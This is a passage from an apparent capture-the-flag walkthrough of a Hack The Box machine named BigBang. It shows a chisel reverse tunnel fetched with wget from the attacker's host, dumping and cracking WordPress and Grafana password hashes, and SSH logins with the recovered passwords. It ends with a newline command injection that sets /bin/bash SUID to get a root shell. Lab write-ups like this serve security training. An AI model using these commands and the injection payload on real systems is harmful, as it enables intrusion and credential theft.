server: Listening on http://0.0.0.0:<PORT>
 
# IF CONNECTION IS SUCCESSFUL
 
server: session1: tun: proxyR:3306=>172.17.0.1:3306: Listening
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
# AS WWW-DATA
$ cd /tmp
$ wget http://<IP>:8080/chisel chisel
$ chmod +x chisel
$ ./chisel client <IP>:8080 R:3306:172.17.0.1:3306
<sel client <IP>:8080 R:3306:172.17.0.1:3306
client: Connecting to ws://<IP>:8080
client: Connected (Latency 47.938663ms)
  • Connect to mysql from local machine
$ mysql -u wp_user -p -h 127.0.0.1 -P 3306
 
Enter password: 'wp_password'
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 786
Server version: 8.0.32 MySQL Community Server - GPL
 
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
 
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
MySQL [(none)]>
  • Get hashes from db
MySQL [(none)]> USE wordpress; SELECT ID, user_login, user_pass, user_email FROM wp_users;
 
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
+----+------------+------------------------------------+----------------------+
| ID | user_login | user_pass                          | user_email           |
+----+------------+------------------------------------+----------------------+
|  1 | root       | $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1 | root@bigbang.htb     |
|  3 | shawking   | $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./ | shawking@bigbang.htb |
+----+------------+------------------------------------+----------------------+
  • Crack shawking hash in hashcat
$ hashcat -a 0 -m 400 '$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./' /usr/share/wordlists/rockyou.txt
 
$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./:quantumphysics
  • SSH as shawking
$ ssh shawking@bigbang.htb : quantumphysics

Root

  • No sudo -l check /home for users & /opt for third party apps
shawking@bigbang:~$ ls
snap  user.txt
 
shawking@bigbang:~$ ls /home
developer  shawking
 
shawking@bigbang:~$ ls /opt
containerd  data
 
shawking@bigbang:~$ ls /opt/data
csv  grafana.db  pdf  plugins  png
 
shawking@bigbang:~$ file /opt/data/grafana.db
/opt/data/grafana.db: SQLite 3.x database, last written using SQLite version 3044000, file counter 729, database pages 245, cookie 0x1bd, schema 4, UTF-8, version-valid-for 729
 
shawking@bigbang:/opt/data$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
<IP> - - [TIME TO SLEEP] "GET /grafana.db HTTP/1.1" 200 -
 
# LOCAL MACHINE
$ wget bigbang.htb:8080/grafana.db
  • Open up in sqlite3
$ sqlite3 grafana.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
alert                        library_element_connection
alert_configuration          login_attempt
alert_configuration_history  migration_log
alert_image                  ngalert_configuration
alert_instance               org
alert_notification           org_user
alert_notification_state     permission
alert_rule                   playlist
alert_rule_tag               playlist_item
alert_rule_version           plugin_setting
annotation                   preferences
annotation_tag               provenance_type
anon_device                  query_history
api_key                      query_history_star
builtin_role                 quota
cache_data                   role
cloud_migration              secrets
cloud_migration_run          seed_assignment
correlation                  server_lock
dashboard                    session
dashboard_acl                short_url
dashboard_provisioning       signing_key
dashboard_public             sso_setting
dashboard_snapshot           star
dashboard_tag                tag
dashboard_version            team
data_keys                    team_member
data_source                  team_role
entity_event                 temp_user
file                         test_data
file_meta                    user
folder                       user_auth
kv_store                     user_auth_token
library_element              user_role
 
sqlite> SELECT * FROM user;
 
1|0|admin|admin@localhost|| 441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34|CFn7zMsQpf|CgJll8Bmss||1|1|0||2024-06-05 16:14:51|2024-06-05 16:16:02|0|2024-06-05 16:16:02|0|0|
 
2|0|developer|ghubble@bigbang.htb|George Hubble| 7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960|4umebBJucv|0Whk1JNfa3||1|0|0||2024-06-05 16:17:32|2025-01-20 16:27:39|0|2025-01-20 16:27:19|0|0|ednvnl5nqhse8d
$ git clone https://github.com/iamaldi/grafana2hashcat
 
$ cd grafana2hashcat
 
$ echo '7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960,4umebBJucv' >> hash.txt
 
$ python3 grafana2hashcat.py hash.txt
[+] Grafana2Hashcat
[+] Reading Grafana hashes from:  hash.txt
[+] Done! Read 1 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[*] Outfile was not declared, printing output to stdout instead.
 
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=
 
$ hashcat -m 10900 'sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=' /usr/share/wordlists/rockyou.txt
 
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=:'bigbang'
  • SSH as developer
$ ssh developer@bigbang.htb
developer@bigbang.htb`s password: bigbang
 
developer@bigbang:~$ sudo -l
[sudo] password for developer: bigbang
Sorry, user developer may not run sudo on bigbang.
 
developer@bigbang:~$ ls
android
developer@bigbang:~$ ls android
satellite-app.apk
 
developer@bigbang:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
<IP> - - [TIME TO SLEEP] "GET /android/satellite-app.apk HTTP/1.1" 200 -
 
# LOCAL MACHINE
$ wget bigbang.htb:8080/android/satellite-app.apk
  • Searching for endpoints via grep
$ unzip satellite-app.apk -d satellite-app
 
$ cd satellite-app
 
$ grep -r "bigbang"
	grep: classes.dex: binary file matches
 
$ strings classes.dex | grep "bang"
	+Lcom/satellite/bigbang/InteractionActivity;
	%Lcom/satellite/bigbang/LoginActivity;
	$Lcom/satellite/bigbang/MainActivity;
	+Lcom/satellite/bigbang/MoveCommandActivity;
	+Lcom/satellite/bigbang/TakePictureActivity;
	!http://app.bigbang.htb:9090/command
	!http://app.bigbang.htb:9090/login
  • Reverse Engineer APK JADX_GUI

  • Command Injection vulnerability
  • Lets test endpoint and see what we get, expecting auth token:
developer@bigbang:~$ curl -X POST -H "Content-Type: application/json" -d
'{"username":"developer","password":"bigbang"}' http://127.0.0.1:9090/login
 
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODI2NTczMywianRpIjoiNzIwMGY5NmItODQxZS00YWYzLTk4NzYtM2U1MmUxOGE2NjNkIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODI2NTczMywiY3NyZiI6ImQ3ZTliZjY5LWYwZGMtNDJiYS05MTQxLWQxMmYwOWM0YTU0NSIsImV4cCI6MTczODI2OTMzM30.5svZNPYh1jHVeqH5CX4rqhAPyWE3EZceWvAGneC5-sk"}
  • Use token to authenticate /command endpoint
developer@bigbang:~$ curl -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODI2NTczMywianRpIjoiNzIwMGY5NmItODQxZS00YWYzLTk4NzYtM2U1MmUxOGE2NjNkIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODI2NTczMywiY3NyZiI6ImQ3ZTliZjY5LWYwZGMtNDJiYS05MTQxLWQxMmYwOWM0YTU0NSIsImV4cCI6MTczODI2OTMzM30.5svZNPYh1jHVeqH5CX4rqhAPyWE3EZceWvAGneC5-sk" -d '{"command":"send_image","output_file":"id"}' http://127.0.0.1:9090/command
 
{"error":"Error generating image: "}
  • Same cmd but along with PSPY for analysis reveals:
  • Command is being wrapped and executed by root \n to inject newline and inject cmd to be ran as root
developer@bigbang:~$ curl -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODI2NTczMywianRpIjoiNzIwMGY5NmItODQxZS00YWYzLTk4NzYtM2U1MmUxOGE2NjNkIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODI2NTczMywiY3NyZiI6ImQ3ZTliZjY5LWYwZGMtNDJiYS05MTQxLWQxMmYwOWM0YTU0NSIsImV4cCI6MTczODI2OTMzM30.5svZNPYh1jHVeqH5CX4rqhAPyWE3EZceWvAGneC5-sk" -d '{"command":"send_image","output_file":"\nchmod 4777 /bin/bash"}' http://127.0.0.1:9090/command
{"error":"Error reading image file: [Errno 2] No such file or directory: '\\nchmod 4777 /bin/bash'"}
 
developer@bigbang:~$ bash -p
bash-5.1$ id
uid=1002(developer) gid=1002(developer) euid=0(root) groups=1002(developer)
bash-5.1$ cd /root
bash-5.1$ ls
root.txt  satellite  snap
bash-5.1$ cat root.txt